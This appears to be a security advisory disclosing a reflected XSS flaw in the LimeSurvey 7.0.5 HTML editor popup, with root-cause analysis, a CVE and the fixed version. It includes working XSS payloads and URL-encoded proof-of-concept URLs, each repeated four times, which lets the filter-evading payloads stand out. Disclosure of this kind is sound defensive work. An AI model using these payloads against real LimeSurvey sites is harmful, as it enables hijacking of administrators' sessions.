LimeSurvey Community Edition 7.0.5+260623 - Reflected XSS in HTML editor popup

8,5

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

LimeSurvey Community Edition 7.0.5+260623 - Reflected XSS in HTML editor popup

Code name

State

Public

Release date

Affected product

LimeSurvey

Vendor

LimeSurvey

Affected version(s)

7.0.5

Fixed version(s)

7.0.10

Vulnerability name

Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

8.5

Exploit available

Yes

Description

LimeSurvey Community Edition 7.0.5+260623 contains an authenticated reflected cross-site scripting vulnerability in the HTML editor popup endpoint. The text and name query parameters are passed through a blacklist sanitizer and then rendered without context-appropriate output encoding.

An attacker can send a crafted URL to an authenticated LimeSurvey user. The text vector breaks out of the document <title> element, while the name vector terminates the inline JavaScript block and injects executable HTML. JavaScript executes in the victim's authenticated LimeSurvey origin and can perform actions available to that session.

Vulnerability

Root cause

  1. HtmlEditorPop::index() reads name and text from the query string and applies sanitize_xss_string() (application/controllers/admin/HtmlEditorPop.php:18-25).

  2. sanitize_xss_string() removes a small blacklist of characters but leaves HTML delimiters such as <, >, and / unchanged (application/helpers/sanitize_helper.php:240-246). It is not a context-aware HTML or JavaScript encoder.

  3. sFieldText is printed directly inside the document title (application/views/admin/htmleditor/pop_editor_view.php:3-5).

  4. sFieldName is printed directly inside a JavaScript string passed to document.getElementById() (application/views/admin/htmleditor/pop_editor_view.php:80-86).

  5. The same sFieldName is also printed into JavaScript strings at pop_editor_view.php:105 and pop_editor_view.php:113.

Confirmed source-to-sink paths

text parameter

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

GET /index.php/admin/htmleditorpop/sa/index?name=field&text=<payload>&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldText
  -> <title><?php printf(gT('Editing %s'), $sFieldText); ?></title>

The following payload survives the sanitizer and closes the title element:

</title><img src=x onerror=alert`Pwned-text-field`>
</title><img src=x onerror=alert`Pwned-text-field`>
</title><img src=x onerror=alert`Pwned-text-field`>
</title><img src=x onerror=alert`Pwned-text-field`>

The backtick expression is valid JavaScript tagged-template syntax and does not require parentheses, which are removed by the blacklist.

name parameter

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

GET /index.php/admin/htmleditorpop/sa/index?name=<payload>&text=ok&type=question
  -> HtmlEditorPop::index()
  -> sanitize_xss_string()
  -> $sFieldName
  -> inline <script> block
  -> browser terminates the script at </script>

The following payload breaks out of the inline script block:

</script><img src=x onerror=alert`Pwned-name-field`>
</script><img src=x onerror=alert`Pwned-name-field`>
</script><img src=x onerror=alert`Pwned-name-field`>
</script><img src=x onerror=alert`Pwned-name-field`>

The endpoint is routed through AdminController (application/controllers/AdminController.php:337-377). AdminController::run() requires an authenticated administration session but does not add a global permission check for htmleditorpop before dispatching the action (application/controllers/AdminController.php:156-203). Therefore, any authenticated user can target another authenticated user who opens the crafted URL; no survey identifier or survey-specific permission is required when sid is omitted.

PoC

Preconditions

  • LimeSurvey Community Edition 7.0.5+260623.

  • A victim authenticated to the LimeSurvey administration panel.

  • No attacker account, survey identifier, or survey-specific permission is required to construct the URL.

  • The victim opens the crafted URL in the same browser session.

text vector

Open the following URL while authenticated:

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=field&text=%3C%2Ftitle%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-text-field%60%3E&type=question

Expected result:

  • The response contains the attacker-controlled value inside the <title> element.

  • The injected image fails to load.

  • A browser dialog displays Pwned-text-field.

name vector

Open the following URL while authenticated:

http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question
http://127.0.0.1:8081/index.php/admin/htmleditorpop/sa/index?name=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%60Pwned-name-field%60%3E&text=ok&type=question

Expected result:

  • The injected </script> terminates the inline script block.

  • The browser parses the injected image element.

  • A browser dialog displays Pwned-name-field.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-63361 to refer to this issue from now on.

Disclosure policy

System Information

  • LimeSurvey

  • Version: 7.0.5

  • Operating System: Any

References

Mitigation

An updated version of LimeSurvey is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor requested re-testing

Follow-up with vendor

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.